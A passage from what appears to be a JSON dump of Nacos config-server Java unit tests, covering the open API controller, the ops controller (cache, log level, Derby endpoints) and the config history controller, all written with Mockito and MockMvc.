ConfigCloneInfo cloneInfo = new ConfigCloneInfo();\n        cloneInfo.setConfigId(1L);\n        cloneInfo.setTargetDataId(\"test\");\n        cloneInfo.setTargetGroupName(\"test\");\n        List<ConfigCloneInfo> configBeansList = new ArrayList<>();\n        configBeansList.add(cloneInfo);\n        \n        when(namespacePersistService.tenantInfoCountByTenantId(\"public\")).thenReturn(1);\n        \n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(\"test\");\n        configAllInfo.setGroup(\"test\");\n        List<ConfigAllInfo> queryedDataList = new ArrayList<>();\n        queryedDataList.add(configAllInfo);\n        \n        List<Long> idList = new ArrayList<>(configBeansList.size());\n        idList.add(cloneInfo.getConfigId());\n        \n        when(configInfoPersistService.findAllConfigInfo4Export(null, null, null, null, idList)).thenReturn(\n                queryedDataList);\n        \n        Map<String, Object> map = new HashMap<>();\n        map.put(\"test\", \"test\");\n        when(configInfoPersistService.batchInsertOrUpdate(anyList(), anyString(), anyString(), any(),\n                any())).thenReturn(map);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.CONFIG_ADMIN_V3_PATH + \"/clone\")\n                .param(\"clone\", \"true\").param(\"src_user\", \"test\").param(\"namespaceId\", \"public\")\n                .param(\"policy\", \"ABORT\").content(JacksonUtils.toJson(configBeansList))\n                .contentType(MediaType.APPLICATION_JSON);\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        \n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        assertEquals(\"0\", code);\n        Map<String, Object> resultMap = JacksonUtils.toObj(JacksonUtils.toObj(actualValue).get(\"data\").toString(),\n                Map.class);\n        assertEquals(map.get(\"test\"), resultMap.get(\"test\").toString());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/ConfigOpenApiControllerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.mock.env.MockEnvironment;\n\nimport java.io.UnsupportedEncodingException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigOpenApiControllerTest {\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    private ConfigOpenApiController configOpenApiController;\n    \n    @BeforeEach\n    void setUp() {\n        MockEnvironment mockEnvironment = new MockEnvironment();\n        EnvUtil.setEnvironment(mockEnvironment);\n        configOpenApiController = new ConfigOpenApiController(configQueryChainService);\n    }\n    \n    @Test\n    void testGetConfigExist() throws NacosApiException, UnsupportedEncodingException {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setContent(\"test\");\n        response.setMd5(\"testMd5\");\n        response.setConfigType(\"text\");\n        response.setEncryptedDataKey(null);\n        response.setLastModified(System.currentTimeMillis());\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(\"test\");\n        configForm.setGroupName(\"test\");\n        Result<ConfigQueryResponse> actual = configOpenApiController.getConfig(configForm);\n        assertEquals(ErrorCode.SUCCESS.getCode(), actual.getCode());\n        assertEquals(ErrorCode.SUCCESS.getMsg(), actual.getMessage());\n        assertEquals(\"test\", actual.getData().getContent());\n        assertEquals(\"testMd5\", actual.getData().getMd5());\n        assertEquals(\"text\", actual.getData().getContentType());\n        assertEquals(response.getLastModified(), actual.getData().getLastModified());\n        assertFalse(actual.getData().isBeta());\n    }\n    \n    @Test\n    void testGetConfigNonExist() throws NacosApiException, UnsupportedEncodingException {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setContent(null);\n        response.setEncryptedDataKey(null);\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(\"test\");\n        configForm.setGroupName(\"test\");\n        Result<ConfigQueryResponse> actual = configOpenApiController.getConfig(configForm);\n        assertEquals(ErrorCode.RESOURCE_NOT_FOUND.getCode(), actual.getCode());\n        assertEquals(ErrorCode.RESOURCE_NOT_FOUND.getMsg(), actual.getMessage());\n    }\n    \n    @Test\n    void testGetConfigExistBeta() throws NacosApiException, UnsupportedEncodingException {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setContent(\"test\");\n        response.setMd5(\"testMd5\");\n        response.setConfigType(\"text\");\n        response.setEncryptedDataKey(null);\n        response.setLastModified(System.currentTimeMillis());\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY);\n        response.setMatchedGray(new ConfigCacheGray());\n        BetaGrayRule betaGrayRule = new BetaGrayRule(\"1.1.1.1\", 1);\n        ConfigGrayPersistInfo grayPersistInfo = GrayRuleManager.constructConfigGrayPersistInfo(betaGrayRule);\n        response.getMatchedGray().resetGrayRule(JacksonUtils.toJson(grayPersistInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(\"test\");\n        configForm.setGroupName(\"test\");\n        Result<ConfigQueryResponse> actual = configOpenApiController.getConfig(configForm);\n        assertEquals(ErrorCode.SUCCESS.getCode(), actual.getCode());\n        assertEquals(ErrorCode.SUCCESS.getMsg(), actual.getMessage());\n        assertEquals(\"test\", actual.getData().getContent());\n        assertEquals(\"testMd5\", actual.getData().getMd5());\n        assertEquals(\"text\", actual.getData().getContentType());\n        assertEquals(response.getLastModified(), actual.getData().getLastModified());\n        assertTrue(actual.getData().isBeta());\n    }\n    \n    @Test\n    void testGetConfigExistGray() throws NacosApiException, UnsupportedEncodingException {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setContent(\"test\");\n        response.setMd5(\"testMd5\");\n        response.setConfigType(\"text\");\n        response.setEncryptedDataKey(null);\n        response.setLastModified(System.currentTimeMillis());\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY);\n        response.setMatchedGray(new ConfigCacheGray());\n        TagGrayRule tagGrayRule = new TagGrayRule(\"1.1.1.1\", 1);\n        ConfigGrayPersistInfo grayPersistInfo = GrayRuleManager.constructConfigGrayPersistInfo(tagGrayRule);\n        response.getMatchedGray().resetGrayRule(JacksonUtils.toJson(grayPersistInfo));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(\"test\");\n        configForm.setGroupName(\"test\");\n        Result<ConfigQueryResponse> actual = configOpenApiController.getConfig(configForm);\n        assertEquals(ErrorCode.SUCCESS.getCode(), actual.getCode());\n        assertEquals(ErrorCode.SUCCESS.getMsg(), actual.getMessage());\n        assertEquals(\"test\", actual.getData().getContent());\n        assertEquals(\"testMd5\", actual.getData().getMd5());\n        assertEquals(\"text\", actual.getData().getContentType());\n        assertEquals(response.getLastModified(), actual.getData().getLastModified());\n        assertFalse(actual.getData().isBeta());\n        assertEquals(\"1.1.1.1\", actual.getData().getTag());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/ConfigOpsControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.service.dump.DumpService;\nimport com.alibaba.nacos.persistence.configuration.DatasourceConfiguration;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.datasource.LocalDataSourceServiceImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.utils.ApplicationUtils;\nimport jakarta.servlet.ServletContext;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.mock.web.MockMultipartFile;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.ArrayList;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass ConfigOpsControllerV3Test {\n    \n    @InjectMocks\n    ConfigOpsControllerV3 configOpsControllerV3;\n    \n    @Mock\n    DumpService dumpService;\n    \n    MockedStatic<DatasourceConfiguration> datasourceConfigurationMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    MockedStatic<ApplicationUtils> applicationUtilsMockedStatic;\n    \n    private MockMvc mockMvc;\n    \n    @Mock\n    private ServletContext servletContext;\n    \n    @AfterEach\n    void after() {\n        datasourceConfigurationMockedStatic.close();\n        dynamicDataSourceMockedStatic.close();\n        applicationUtilsMockedStatic.close();\n        ConfigCommonConfig.getInstance().setDerbyOpsEnabled(false);\n    }\n    \n    @BeforeEach\n    void init() {\n        when(servletContext.getContextPath()).thenReturn(\"/nacos\");\n        ReflectionTestUtils.setField(configOpsControllerV3, \"dumpService\", dumpService);\n        mockMvc = MockMvcBuilders.standaloneSetup(configOpsControllerV3).build();\n        \n        datasourceConfigurationMockedStatic = Mockito.mockStatic(DatasourceConfiguration.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        applicationUtilsMockedStatic = Mockito.mockStatic(ApplicationUtils.class);\n    }\n    \n    @Test\n    void testUpdateLocalCacheFromStore() throws Exception {\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.post(Constants.OPS_CONTROLLER_V3_ADMIN_PATH + \"/localCache\");\n        int actualValue = mockMvc.perform(builder).andReturn().getResponse().getStatus();\n        assertEquals(200, actualValue);\n    }\n    \n    @Test\n    void testSetLogLevel() throws Exception {\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.put(Constants.OPS_CONTROLLER_V3_ADMIN_PATH + \"/log\").param(\"logName\", \"test\")\n                .param(\"logLevel\", \"test\");\n        int actualValue = mockMvc.perform(builder).andReturn().getResponse().getStatus();\n        assertEquals(200, actualValue);\n    }\n    \n    @Test\n    void testDerbyOps() throws Exception {\n        ConfigCommonConfig.getInstance().setDerbyOpsEnabled(true);\n        datasourceConfigurationMockedStatic.when(DatasourceConfiguration::isEmbeddedStorage).thenReturn(true);\n        DynamicDataSource dataSource = Mockito.mock(DynamicDataSource.class);\n        dynamicDataSourceMockedStatic.when(DynamicDataSource::getInstance).thenReturn(dataSource);\n        LocalDataSourceServiceImpl dataSourceService = Mockito.mock(LocalDataSourceServiceImpl.class);\n        when(dataSource.getDataSource()).thenReturn(dataSourceService);\n        JdbcTemplate template = Mockito.mock(JdbcTemplate.class);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(template);\n        when(template.queryForList(\"SELECT * FROM TEST\")).thenReturn(new ArrayList<>());\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.OPS_CONTROLLER_V3_ADMIN_PATH + \"/derby\")\n                .param(\"sql\", \"SELECT * FROM TEST\");\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        assertEquals(\"0\", JacksonUtils.toObj(actualValue).get(\"code\").toString());\n        \n    }\n    \n    @Test\n    void testImportDerby() throws Exception {\n        ConfigCommonConfig.getInstance().setDerbyOpsEnabled(true);\n        datasourceConfigurationMockedStatic.when(DatasourceConfiguration::isEmbeddedStorage).thenReturn(true);\n        \n        applicationUtilsMockedStatic.when(() -> ApplicationUtils.getBean(DatabaseOperate.class))\n                .thenReturn(Mockito.mock(DatabaseOperate.class));\n        MockMultipartFile file = new MockMultipartFile(\"file\", \"test.zip\", \"application/zip\", \"test\".getBytes());\n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.multipart(Constants.OPS_CONTROLLER_V3_ADMIN_PATH + \"/derby/import\")\n                .file(file);\n        int actualValue = mockMvc.perform(builder).andReturn().getResponse().getStatus();\n        assertEquals(200, actualValue);\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/HistoryControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.service.HistoryService;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.api.model.Page;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass HistoryControllerV3Test {\n    \n    private static final String TEST_DATA_ID = \"test\";\n    \n    private static final String TEST_GROUP = \"test\";\n    \n    private static final String TEST_NAMESPACE_ID = \"\";\n    \n    private static final String TEST_NAMESPACE_ID_PUBLIC = \"public\";\n    \n    private static final String TEST_CONTENT = \"test config\";\n    \n    HistoryControllerV3 historyControllerV3;\n    \n    @Mock\n    private HistoryService historyService;\n    \n    @BeforeEach\n    void setUp() {\n        historyControllerV3 = new HistoryControllerV3(historyService);\n    }\n    \n    @Test\n    void testListConfigHistory() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        List<ConfigHistoryInfo> configHistoryInfoList = new ArrayList<>();\n        configHistoryInfoList.add(configHistoryInfo);\n        \n        Page<ConfigHistoryInfo> page = new Page<>();\n        page.setTotalCount(15);\n        page.setPageNumber(1);\n        page.setPagesAvailable(2);\n        page.setPageItems(configHistoryInfoList);\n        \n        when(historyService.listConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1, 10)).thenReturn(\n                page);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID);\n        PageForm pageForm = new PageForm();\n        pageForm.setPageNo(1);\n        pageForm.setPageSize(10);\n        Result<Page<ConfigHistoryBasicInfo>> pageResult = historyControllerV3.listConfigHistory(configForm, pageForm);\n        \n        verify(historyService).listConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1, 10);\n        \n        List<ConfigHistoryBasicInfo> resultList = pageResult.getData().getPageItems();\n        ConfigHistoryBasicInfo resConfigHistoryInfo = resultList.get(0);\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), pageResult.getCode());\n        assertEquals(configHistoryInfoList.size(), resultList.size());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        assertEquals(configHistoryInfo.getTenant(), resConfigHistoryInfo.getNamespaceId());\n        \n    }\n    \n    @Test\n    void testListConfigHistoryWhenNameSpaceIsPublic() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        List<ConfigHistoryInfo> configHistoryInfoList = new ArrayList<>();\n        configHistoryInfoList.add(configHistoryInfo);\n        \n        Page<ConfigHistoryInfo> page = new Page<>();\n        page.setTotalCount(15);\n        page.setPageNumber(1);\n        page.setPagesAvailable(2);\n        page.setPageItems(configHistoryInfoList);\n        \n        when(historyService.listConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1, 10)).thenReturn(\n                page);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID_PUBLIC);\n        PageForm pageForm = new PageForm();\n        pageForm.setPageNo(1);\n        pageForm.setPageSize(10);\n        \n        Result<Page<ConfigHistoryBasicInfo>> pageResult = historyControllerV3.listConfigHistory(configForm, pageForm);\n        \n        verify(historyService).listConfigHistory(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1, 10);\n        \n        List<ConfigHistoryBasicInfo> resultList = pageResult.getData().getPageItems();\n        ConfigHistoryBasicInfo resConfigHistoryInfo = resultList.get(0);\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), pageResult.getCode());\n        assertEquals(configHistoryInfoList.size(), resultList.size());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        \n    }\n    \n    @Test\n    void testGetConfigHistoryInfoWhenNameSpaceIsPublic() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_NAMESPACE_ID);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyService.getConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L)).thenReturn(\n                configHistoryInfo);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID_PUBLIC);\n        Result<ConfigHistoryDetailInfo> result = historyControllerV3.getConfigHistoryInfo(configForm, 1L);\n        \n        verify(historyService).getConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L);\n        \n        ConfigHistoryDetailInfo resConfigHistoryInfo = result.getData();\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetConfigHistoryInfo() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_NAMESPACE_ID);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyService.getConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L)).thenReturn(\n                configHistoryInfo);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID);\n        Result<ConfigHistoryDetailInfo> result = historyControllerV3.getConfigHistoryInfo(configForm, 1L);\n        \n        verify(historyService).getConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L);\n        \n        ConfigHistoryDetailInfo resConfigHistoryInfo = result.getData();\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetPreviousConfigHistoryInfo() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_NAMESPACE_ID);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyService.getPreviousConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC,\n                1L)).thenReturn(configHistoryInfo);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID);\n        Result<ConfigHistoryDetailInfo> result = historyControllerV3.getPreviousConfigHistoryInfo(configForm, 1L);\n        \n        verify(historyService).getPreviousConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L);\n        \n        ConfigHistoryDetailInfo resConfigHistoryInfo = result.getData();\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetPreviousConfigHistoryInfoWhenNameSpaceIsPublic() throws Exception {\n        \n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_NAMESPACE_ID);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n        \n        when(historyService.getPreviousConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC,\n                1L)).thenReturn(configHistoryInfo);\n        \n        ConfigFormV3 configForm = new ConfigFormV3();\n        configForm.setDataId(TEST_DATA_ID);\n        configForm.setGroupName(TEST_GROUP);\n        configForm.setNamespaceId(TEST_NAMESPACE_ID_PUBLIC);\n        Result<ConfigHistoryDetailInfo> result = historyControllerV3.getPreviousConfigHistoryInfo(configForm, 1L);\n        \n        verify(historyService).getPreviousConfigHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_NAMESPACE_ID_PUBLIC, 1L);\n        \n        ConfigHistoryDetailInfo resConfigHistoryInfo = result.getData();\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroupName());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetConfigListByNamespace() throws NacosApiException {\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(\"test\");\n        configInfoWrapper.setGroup(\"test\");\n        configInfoWrapper.setContent(\"test\");\n        List<ConfigInfoWrapper> configInfoWrappers = Collections.singletonList(configInfoWrapper);\n        \n        when(historyService.getConfigListByNamespace(\"test\")).thenReturn(configInfoWrappers);\n        Result<List<ConfigBasicInfo>> result = historyControllerV3.getConfigsByNamespace(\"test\");\n        verify(historyService).getConfigListByNamespace(\"test\");\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        List<ConfigBasicInfo> actualList = result.getData();\n        assertEquals(configInfoWrappers.size(), actualList.size());\n        ConfigBasicInfo actualConfigInfoWrapper = actualList.get(0);\n        assertEquals(configInfoWrapper.getDataId(), actualConfigInfoWrapper.getDataId());\n        assertEquals(configInfoWrapper.getGroup(), actualConfigInfoWrapper.getGroupName());\n    }\n    \n    @Test\n    void testGetConfigListByNamespaceWhenIsPublic() throws NacosApiException {\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(\"test\");\n        configInfoWrapper.setGroup(\"test\");\n        configInfoWrapper.setContent(\"test\");\n        List<ConfigInfoWrapper> configInfoWrappers = Collections.singletonList(configInfoWrapper);\n        \n        when(historyService.getConfigListByNamespace(TEST_NAMESPACE_ID_PUBLIC)).thenReturn(configInfoWrappers);\n        Result<List<ConfigBasicInfo>> result = historyControllerV3.getConfigsByNamespace(TEST_NAMESPACE_ID_PUBLIC);\n        